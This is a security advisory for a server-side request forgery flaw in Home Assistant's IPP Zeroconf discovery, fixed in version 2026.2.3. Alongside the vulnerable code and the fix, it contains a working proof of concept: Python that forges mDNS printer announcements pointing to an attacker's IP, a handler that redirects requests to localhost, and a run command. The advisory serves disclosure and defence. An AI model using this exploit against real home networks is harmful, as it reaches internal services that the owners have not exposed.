| Package | Affected versions | Patched versions |
|---|---|---|
| homeassistant | < 2026.2.3 | 2026.2.3 |
Home Assistant Green is vulnerable to a Server-Side Request Forgery (SSRF) via the mDNS/Zeroconf IPP integration. An unauthenticated attacker on the local network can send a crafted mDNS response to trick Home Assistant into making HTTP requests to arbitrary hosts, including internal services bound to localhost. The IPP integration automatically processes _ipp._tcp.local service announcements without any user interaction or authentication, and follows HTTP redirects from the attacker-controlled host.
Home Assistant listens for mDNS service announcements on port 5353. When a service of type _ipp._tcp.local is discovered, the IPP integration's zeroconf handler (homeassistant/components/ipp/config_flow.py) processes it automatically.
The async_step_zeroconf method extracts host, port, and base_path directly from the mDNS discovery info without validation:
async def async_step_zeroconf(
self, discovery_info: ZeroconfServiceInfo
) -> ConfigFlowResult:
host = discovery_info.host
port = discovery_info.port
zctype = discovery_info.type
name = discovery_info.name.replace(f".{zctype}", "")
tls = zctype == "_ipps._tcp.local."
base_path = discovery_info.properties.get("rp", "ipp/print")
self.discovery_info.update(
{
CONF_HOST: host,
CONF_PORT: port,
CONF_SSL: tls,
CONF_VERIFY_SSL: False,
CONF_BASE_PATH: f"/{base_path}",
CONF_NAME: name,
CONF_UUID: unique_id,
}
)
These values are then passed to validate_input(), which constructs an HTTP request (IPP over HTTP) to the attacker-controlled host:
async def validate_input(hass: HomeAssistant, data: dict) -> dict[str, Any]:
session = async_get_clientsession(hass)
ipp = IPP(
host=data[CONF_HOST],
port=data[CONF_PORT],
base_path=data[CONF_BASE_PATH],
tls=data[CONF_SSL],
verify_ssl=data[CONF_VERIFY_SSL],
session=session,
)
printer = await ipp.printer()
return {CONF_SERIAL: printer.info.serial, CONF_UUID: printer.info.uuid}
The core issue is that during the intentional discovery and retrieval of additional device information, the HTTP session blindly follows redirects. This allows an attacker to point the request at 127.0.0.1 or other internal services that are not otherwise network-accessible.
An attacker crafts an mDNS response advertising a fake IPP printer that points to the attacker's IP. The attacker's HTTP server then responds with a 302 redirect to any internal endpoint, causing Home Assistant to make the request on the attacker's behalf.
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site freeThe PoC demonstrates the SSRF by sending a crafted mDNS response that causes Home Assistant to connect to the attacker's HTTP server, which redirects the request to an internal service.
pip install -r requirements.txtThe core mDNS spoofing function builds and sends a DNS response advertising a fake IPP printer:
def build_dns_response(service_name, service_type, attacker_ip, attacker_port):
transaction_id = 0x0000 # mDNS always 0
flags = 0x8400 # Standard response, authoritative answer
qdcount = 0
ancount = 4 # 4 answers (service_type, SRV, TXT, A)
nscount = 0
arcount = 0
SRV = service_name + '.' + service_type
header = struct.pack("!HHHHHH", transaction_id, flags, qdcount, ancount, nscount, arcount)
def encode_name(name):
parts = name.split(".")
out = b""
for p in parts:
out += bytes([len(p)]) + p.encode("utf-8")
out += b"\x00"
return out
answers = b""
# PTR record: _ipp._tcp.local -> meomeo._ipp._tcp.local
answers += encode_name(service_type)
answers += struct.pack("!HHI", 12, 1, 1)
target = encode_name(SRV)
answers += struct.pack("!H", len(target)) + target
# SRV record
answers += encode_name(SRV)
answers += struct.pack("!HHI", 33, 1, 120)
srv_data = struct.pack("!HHH", 0, 0, attacker_port) + encode_name("hihiabcdmeomeo.local")
answers += struct.pack("!H", len(srv_data)) + srv_data
# TXT record
txt_strs = [b"abcd=efgh"]
txt_record = b"".join(bytes([len(s)]) + s for s in txt_strs)
answers += encode_name(SRV)
answers += struct.pack("!HHI", 16, 1, 120)
answers += struct.pack("!H", len(txt_record)) + txt_record
# A record: hihiabcdmeomeo.local -> attacker IP
answers += encode_name("hihiabcdmeomeo.local")
answers += struct.pack("!HHI", 1, 1, 120)
ip_bytes = socket.inet_aton(attacker_ip)
answers += struct.pack("!H", len(ip_bytes)) + ip_bytes
return header + answers
def send_mdns_response(service_name, service_type, has_ip, attacker_ip, attacker_port):
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
packet = build_dns_response(service_name, service_type, attacker_ip, attacker_port)
sock.sendto(packet, (has_ip, 5353))
The attacker's HTTP server redirects the incoming IPP request to an internal service:
class RedirectHandler(BaseHTTPRequestHandler):
def do_POST(self):
self.send_response(302)
self.send_header("Location", "http://127.0.0.1:<INTERNAL_PORT>/<path>")
self.end_headers()
python3 zeroconf.py -type _ipp._tcp.local -has_ip <HOME_ASSISTANT_IP> -attacker_ip <ATTACKER_IP> -name meomeo
http://127.0.0.1:<port>/<path>An unauthenticated attacker on the same local network can coerce Home Assistant into issuing HTTP requests to arbitrary hosts, including services bound to 127.0.0.1 or other internal addresses that are not otherwise reachable. Exploitation requires no user interaction and no prior IPP configuration — the IPP integration processes _ipp._tcp.local announcements automatically, and the HTTP client used to fetch printer metadata follows attacker-supplied redirects.
The shared aiohttp client used by integrations now blocks cross-origin redirects to internal addresses: when a request to a non-loopback host is redirected to a loopback or unspecified address, the redirect is refused and an error is raised instead of being followed. The check matches both literal hostnames (localhost and its subdomains) and hostnames that resolve to a loopback IP, so DNS-based bypasses are covered. Relative redirects, non-network URI schemes, and requests that already target loopback (legitimate local integrations) are unaffected.
Discovered by ZDI (ZDI-CAN-28336)